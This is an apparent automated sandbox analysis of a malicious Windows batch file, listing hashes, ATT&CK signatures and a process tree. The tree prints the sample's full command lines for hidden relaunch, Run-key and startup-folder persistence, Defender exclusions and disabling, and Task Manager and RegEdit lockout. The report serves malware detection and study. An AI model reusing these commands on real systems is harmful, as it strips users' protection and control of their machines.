33fb74388950e4f5cf6785934a7e76dccd1411e6b7467f32d61c0a5ab6016e70

Analysis

user interaction
yes
max time kernel
150s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/09/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_bat_20260928_7328a0.bat
Size 7KB
Sample260928-ppmlgsty7m
SHA256 33fb74388950e4f5cf6785934a7e76dccd1411e6b7467f32d61c0a5ab6016e70
MD5 5d952a754108c21d099301a4694eabfb
SHA1 0bdec2fe2925da204862fede33db282c44e76206
SHA512 5c3c572a74af387428e49cbb39e12b59e6811edd1e30eddd9829dc9c344ff29a116d6eb9b6e69c54b2afb4ce87b67dd48da068184789babb76229372035cee83
SSDEEP 192:/PkBCGYHxiURg6o8+/t05g3WE/b1jyyZu9rALCOZr92/1g+m5W1K4UmP:nACGYHxiUG6o8+/t0i3WEz1jyyZu9roq
TLSH
T1DEF1733328D94D16A4778050A4FB96416BD7C28BA5453FC4B0CC965EBE2FB5C83B2DC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 64 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
508	bcdedit.exe
968	bcdedit.exe
3804	bcdedit.exe
4944	bcdedit.exe
2848	bcdedit.exe
4428	bcdedit.exe
5236	bcdedit.exe
4420	bcdedit.exe
3132	bcdedit.exe
4068	bcdedit.exe
2004	bcdedit.exe
4200	bcdedit.exe
6500	bcdedit.exe
6644	bcdedit.exe
7088	bcdedit.exe
6984	bcdedit.exe
3912	bcdedit.exe
7200	bcdedit.exe
7300	bcdedit.exe
7808	bcdedit.exe
7836	bcdedit.exe
7896	bcdedit.exe
7012	bcdedit.exe
6996	bcdedit.exe
5604	bcdedit.exe
7540	bcdedit.exe
8648	bcdedit.exe
5808	Process not Found
9344	Process not Found
10428	Process not Found
5300	Process not Found
11188	Process not Found
9004	Process not Found
10948	Process not Found
6268	Process not Found
5144	Process not Found
13308	Process not Found
12760	Process not Found
6880	Process not Found
12332	Process not Found
7580	Process not Found
7800	Process not Found
5004	Process not Found
10264	Process not Found
13748	Process not Found
3052	Process not Found
12772	Process not Found
11044	Process not Found
12908	Process not Found
10940	Process not Found
12024	Process not Found
10468	Process not Found
8092	Process not Found
7060	Process not Found
7268	Process not Found
6404	Process not Found
10952	Process not Found
12404	Process not Found
15332	Process not Found
6612	Process not Found
13336	Process not Found
9492	Process not Found
12956	Process not Found
4364	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
8268	Process not Found
3836	powershell.exe
2528	Process not Found
9736	Process not Found
5804	Process not Found
13992	Process not Found
17096	Process not Found
16892	Process not Found
7860	Process not Found
5516	powershell.exe
11748	Process not Found
11700	Process not Found
6612	Process not Found
11760	Process not Found
3764	powershell.exe
8724	powershell.exe
15204	Process not Found
8764	Process not Found
8232	Process not Found
11532	Process not Found
1892	powershell.exe
13900	Process not Found
3736	Process not Found
11876	Process not Found
11116	Process not Found
9152	powershell.exe
7340	Process not Found
4420	Process not Found
13712	Process not Found
14688	Process not Found
4360	Process not Found
4768	Process not Found
14900	Process not Found
3700	Process not Found
8028	powershell.exe
9680	powershell.exe
7472	Process not Found
10672	Process not Found
13460	Process not Found
6544	Process not Found
14344	Process not Found
15164	Process not Found
7308	powershell.exe
8916	Process not Found
7780	Process not Found
13004	Process not Found
14028	Process not Found
11924	Process not Found
16848	Process not Found
1724	Process not Found
412	powershell.exe
2868	powershell.exe
3332	powershell.exe
11656	Process not Found
11008	Process not Found
16736	Process not Found
10300	Process not Found
10644	Process not Found
1808	powershell.exe
3508	Process not Found
7476	Process not Found
10740	Process not Found
15588	Process not Found
7656	Process not Found

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 64 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
9044	Process not Found
8540	Process not Found
11676	Process not Found
12892	Process not Found
11900	Process not Found
8624	Process not Found
9712	Process not Found
7948	Process not Found
8888	Process not Found
11008	Process not Found
10864	Process not Found
11588	Process not Found
3388	powershell.exe
6968	powershell.exe
10684	Process not Found
8848	Process not Found
10696	Process not Found
988	Process not Found
8744	Process not Found
11532	Process not Found
10540	Process not Found
9256	Process not Found
12032	Process not Found
10500	Process not Found
8548	Process not Found
5452	Process not Found
12480	Process not Found
512	powershell.exe
6608	powershell.exe
10452	Process not Found
8808	Process not Found
10360	Process not Found
6120	Process not Found
12124	Process not Found
4500	powershell.exe
11232	powershell.exe
1436	Process not Found
10328	Process not Found
7044	Process not Found
1472	Process not Found
7112	Process not Found
4488	Process not Found
2316	powershell.exe
6952	Process not Found
8644	Process not Found
13372	Process not Found
16508	Process not Found
12988	Process not Found
624	powershell.exe
5372	powershell.exe
12008	Process not Found
10628	Process not Found
10892	Process not Found
8284	Process not Found
11800	Process not Found
16740	Process not Found
2756	powershell.exe
932	Process not Found
14540	Process not Found
4012	powershell.exe
5916	powershell.exe
11104	Process not Found
7564	Process not Found
11872	Process not Found

Creates a file in the Startup directory 1 TTPs 4 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat	attrib.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sys_cache.bat\""	reg.exe

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Discovers running processes 1 TTPs 45 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
8776	Process not Found
15232	Process not Found
9536	Process not Found
4272	tasklist.exe
8784	tasklist.exe
7864	tasklist.exe
9260	tasklist.exe
8432	tasklist.exe
1468	Process not Found
14912	Process not Found
12800	Process not Found
14776	Process not Found
8180	Process not Found
12604	Process not Found
7884	Process not Found
5608	Process not Found
7080	tasklist.exe
12136	Process not Found
14396	Process not Found
11956	Process not Found
13700	Process not Found
17160	Process not Found
5884	Process not Found
12588	Process not Found
10656	Process not Found
13572	Process not Found
12924	Process not Found
6444	tasklist.exe
10332	Process not Found
4712	Process not Found
8844	Process not Found
10192	Process not Found
11072	Process not Found
14328	Process not Found
14384	Process not Found
5208	Process not Found
3784	Process not Found
15600	Process not Found
14424	Process not Found
17404	Process not Found
10028	Process not Found
13240	Process not Found
9404	tasklist.exe
9396	tasklist.exe
10844	Process not Found

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2228	Process not Found
14092	Process not Found
6744	Process not Found
15812	Process not Found
3264	cmd.exe
9168	Process not Found
14832	Process not Found
2536	cmd.exe
10032	cmd.exe
8316	Process not Found
10900	Process not Found
8504	Process not Found
15148	Process not Found
15780	Process not Found
2424	cmd.exe
14376	Process not Found
632	Process not Found
10664	Process not Found
964	cmd.exe
5672	cmd.exe
10172	Process not Found
7616	cmd.exe
10972	Process not Found
16584	Process not Found
10708	Process not Found
5148	cmd.exe
14292	Process not Found
13164	Process not Found
8536	Process not Found
14372	Process not Found
13552	Process not Found
12664	Process not Found
5184	Process not Found
13336	Process not Found
6688	cmd.exe
13360	Process not Found
12404	Process not Found
11576	Process not Found
840	cmd.exe
12008	Process not Found
12748	Process not Found
6720	Process not Found
11312	Process not Found
14632	Process not Found
8876	Process not Found
6320	cmd.exe
12144	Process not Found
9040	Process not Found
16008	Process not Found
5424	cmd.exe
4884	cmd.exe
1116	cmd.exe
6980	cmd.exe
12760	Process not Found
5140	Process not Found
11048	Process not Found
17128	Process not Found
836	cmd.exe
5476	Process not Found
16796	Process not Found
4456	cmd.exe
3840	cmd.exe
13220	Process not Found
916	Process not Found

Delays execution with timeout.exe 48 IoCs

defense_evasion

pid	Process
7796	timeout.exe
16172	Process not Found
16800	Process not Found
5668	Process not Found
6428	timeout.exe
8300	timeout.exe
9388	timeout.exe
11188	Process not Found
11120	Process not Found
12668	Process not Found
3460	Process not Found
8016	Process not Found
13892	Process not Found
11768	Process not Found
7528	timeout.exe
6008	Process not Found
13924	Process not Found
13076	Process not Found
12936	Process not Found
14620	Process not Found
11620	Process not Found
10320	Process not Found
8044	Process not Found
16864	Process not Found
8968	Process not Found
12320	Process not Found
4896	timeout.exe
10732	Process not Found
6772	Process not Found
16124	Process not Found
8088	Process not Found
7548	Process not Found
10936	Process not Found
11196	Process not Found
10252	Process not Found
11536	Process not Found
7812	Process not Found
13892	Process not Found
9480	Process not Found
10328	Process not Found
12436	Process not Found
16456	Process not Found
6612	Process not Found
16848	Process not Found
512	Process not Found
4924	timeout.exe
7352	timeout.exe
7304	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
4144	powershell.exe
4144	powershell.exe
1956	powershell.exe
1956	powershell.exe
1688	powershell.exe
1688	powershell.exe
4120	powershell.exe
4120	powershell.exe
4400	powershell.exe
4400	powershell.exe
3764	powershell.exe
3764	powershell.exe
3388	powershell.exe
3388	powershell.exe
4100	powershell.exe
4100	powershell.exe
4176	powershell.exe
4176	powershell.exe
4176	powershell.exe
4100	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
4676	powershell.exe
4676	powershell.exe
1940	powershell.exe
1940	powershell.exe
4112	powershell.exe
4112	powershell.exe
412	powershell.exe
412	powershell.exe
4312	powershell.exe
4312	powershell.exe
4676	powershell.exe
4112	powershell.exe
412	powershell.exe
1940	powershell.exe
4312	powershell.exe
5624	powershell.exe
5624	powershell.exe
5624	powershell.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	5624	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6136 wrote to memory of 3760	6136	cmd.exe	86
PID 6136 wrote to memory of 5768	6136	cmd.exe	87
PID 5768 wrote to memory of 4500	5768	net.exe	88
PID 6136 wrote to memory of 4144	6136	cmd.exe	89
PID 4144 wrote to memory of 3004	4144	powershell.exe	90
PID 3004 wrote to memory of 5648	3004	cmd.exe	92
PID 3004 wrote to memory of 5964	3004	cmd.exe	93
PID 5964 wrote to memory of 4024	5964	net.exe	94
PID 3004 wrote to memory of 5992	3004	cmd.exe	95
PID 3004 wrote to memory of 4288	3004	cmd.exe	96
PID 3004 wrote to memory of 1680	3004	cmd.exe	97
PID 3004 wrote to memory of 1872	3004	cmd.exe	98
PID 3004 wrote to memory of 1956	3004	cmd.exe	99
PID 3004 wrote to memory of 1688	3004	cmd.exe	102
PID 3004 wrote to memory of 4120	3004	cmd.exe	185
PID 3004 wrote to memory of 4400	3004	cmd.exe	107
PID 5728 wrote to memory of 2488	5728	net.exe	109
PID 3004 wrote to memory of 3388	3004	cmd.exe	112
PID 3764 wrote to memory of 4588	3764	powershell.exe	113
PID 4588 wrote to memory of 4180	4588	cmd.exe	207
PID 3004 wrote to memory of 5960	3004	cmd.exe	116
PID 3004 wrote to memory of 2196	3004	cmd.exe	117
PID 3004 wrote to memory of 2544	3004	cmd.exe	255
PID 4588 wrote to memory of 5736	4588	cmd.exe	119
PID 5736 wrote to memory of 2536	5736	net.exe	435
PID 3004 wrote to memory of 4460	3004	cmd.exe	121
PID 3004 wrote to memory of 4456	3004	cmd.exe	122
PID 3004 wrote to memory of 5356	3004	cmd.exe	123
PID 3004 wrote to memory of 5424	3004	cmd.exe	125
PID 3004 wrote to memory of 3264	3004	cmd.exe	127
PID 3004 wrote to memory of 5756	3004	cmd.exe	128
PID 3004 wrote to memory of 3292	3004	cmd.exe	129
PID 3004 wrote to memory of 5448	3004	cmd.exe	130
PID 3004 wrote to memory of 228	3004	cmd.exe	213
PID 3004 wrote to memory of 508	3004	cmd.exe	273
PID 4588 wrote to memory of 1648	4588	cmd.exe	478
PID 3004 wrote to memory of 968	3004	cmd.exe	222
PID 4588 wrote to memory of 884	4588	cmd.exe	140
PID 3004 wrote to memory of 3804	3004	cmd.exe	141
PID 5424 wrote to memory of 4956	5424	cmd.exe	219
PID 3264 wrote to memory of 3900	3264	cmd.exe	458
PID 4588 wrote to memory of 5076	4588	cmd.exe	144
PID 5448 wrote to memory of 2936	5448	cmd.exe	412
PID 5356 wrote to memory of 808	5356	cmd.exe	146
PID 3292 wrote to memory of 3400	3292	cmd.exe	147
PID 4588 wrote to memory of 3856	4588	cmd.exe	148
PID 4456 wrote to memory of 728	4456	cmd.exe	426
PID 5756 wrote to memory of 1840	5756	cmd.exe	150
PID 5424 wrote to memory of 2940	5424	cmd.exe	151
PID 2940 wrote to memory of 4716	2940	net.exe	152
PID 3004 wrote to memory of 4924	3004	cmd.exe	311
PID 5356 wrote to memory of 1356	5356	cmd.exe	154
PID 4456 wrote to memory of 4260	4456	cmd.exe	155
PID 1356 wrote to memory of 1884	1356	net.exe	296
PID 4260 wrote to memory of 4616	4260	net.exe	1003
PID 5448 wrote to memory of 1728	5448	cmd.exe	158
PID 1728 wrote to memory of 1540	1728	net.exe	159
PID 3264 wrote to memory of 3320	3264	cmd.exe	160
PID 3292 wrote to memory of 3800	3292	cmd.exe	161
PID 5756 wrote to memory of 432	5756	cmd.exe	162
PID 4588 wrote to memory of 4100	4588	cmd.exe	163
PID 432 wrote to memory of 1976	432	net.exe	164
PID 3320 wrote to memory of 4192	3320	net.exe	165
PID 3800 wrote to memory of 2160	3800	net.exe	229

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5992	attrib.exe
8428	attrib.exe
8832	attrib.exe
13728	Process not Found
14468	Process not Found
2268	Process not Found
6280	attrib.exe
3488	attrib.exe
9220	attrib.exe
8840	attrib.exe
8	attrib.exe
10924	attrib.exe
11184	Process not Found
6872	attrib.exe
8324	attrib.exe
1076	Process not Found
3812	attrib.exe
920	attrib.exe
5536	attrib.exe
6684	attrib.exe
3808	attrib.exe
3904	attrib.exe
2464	attrib.exe
10956	attrib.exe
2188	attrib.exe
9224	attrib.exe
8068	attrib.exe
4136	attrib.exe
7984	attrib.exe
16424	Process not Found
6832	Process not Found
7984	Process not Found
12860	Process not Found
6832	Process not Found
16108	Process not Found
6488	Process not Found
14128	Process not Found
5168	Process not Found
4068	attrib.exe
4136	attrib.exe
7472	attrib.exe
15304	Process not Found
2480	attrib.exe
9160	attrib.exe
864	attrib.exe
3380	attrib.exe
9560	attrib.exe
7044	Process not Found
5468	Process not Found
1648	attrib.exe
5240	attrib.exe
2600	attrib.exe
10704	attrib.exe
10236	Process not Found
12564	Process not Found
984	attrib.exe
8092	attrib.exe
8908	attrib.exe
5760	attrib.exe
16308	Process not Found
4976	Process not Found
9668	Process not Found
4128	attrib.exe
10796	Process not Found

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:6136
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:3760
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
    3⤵
    - Creates a file in the Startup directory
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:5648
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5964
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4024
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
      4⤵
      Creates a file in the Startup directory
      Views/modifies file attributes
      PID:5992
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:4288
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:1680
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
      4⤵
      Adds Run key to start application
      PID:1872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Disables one or more Microsoft Defender components
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3388
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5960
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      PID:2196
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:2544
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4460
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:728
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4260
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:4616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4676
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:3648
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4236
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:2892
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4524
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        
        PID:3936
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:116
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:804
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:6008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:5228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        
        PID:5084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:2316
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5328
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4740
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1724
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4616
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:4516
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:1076
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6568
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7624
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1584
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9308
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9788
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:2424
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10136
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5180
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
